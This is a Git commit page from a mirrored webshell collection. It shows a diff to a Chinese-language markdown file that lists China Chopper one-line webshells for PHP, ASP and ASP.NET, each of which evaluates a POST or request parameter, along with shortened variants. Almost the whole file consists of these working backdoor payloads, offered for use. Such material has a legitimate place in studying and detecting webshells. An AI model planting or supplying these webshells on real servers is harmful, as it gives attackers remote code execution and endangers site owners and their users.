PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-07 05:11:28 +00:00
Code Issues Projects Releases Wiki Activity

Update short_shell.md

Browse Source
This commit is contained in:
tennc
2015-10-19 23:48:43 +08:00
parent e9646d4cc8
commit 89262988cd
1 changed files with 7 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

11
caidao-shell/short_shell.md
View File

@@ -1,6 +1,7 @@
菜刀readme.txt中附带一3个一句话： 菜刀readme.txt中附带一3个一句话：
```PHP: <?php @eval($_POST['chopper']);?> ```
PHP: <?php @eval($_POST['chopper']);?>
ASP: <%eval request("chopper")%> ASP: <%eval request("chopper")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%> ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
``` ```
@@ -9,20 +10,22 @@ ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe"
如： 如：
PHP我们可以这样写： PHP我们可以这样写：
``` ```php
<?php @eval($_POST['0']);?> 原版 <?php @eval($_POST['0']);?> 原版
<?=eval($_POST[0]);?> 缩小版 <?=eval($_POST[0]);?> 缩小版
``` ```
ASP我们可以这样写： ASP我们可以这样写：
```
```asp
<%eval request("0")%> 原版 <%eval request("0")%> 原版
<%eval request(0)%> 缩小版 <%eval request(0)%> 缩小版
``` ```
ASP.NET可以这样写： ASP.NET可以这样写：
```<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%> 原版 ```aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%> 原版
<%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%> 缩小版 <%@Page Language=JS%><%eval(Request.Item(0),"unsafe");%> 缩小版
``` ```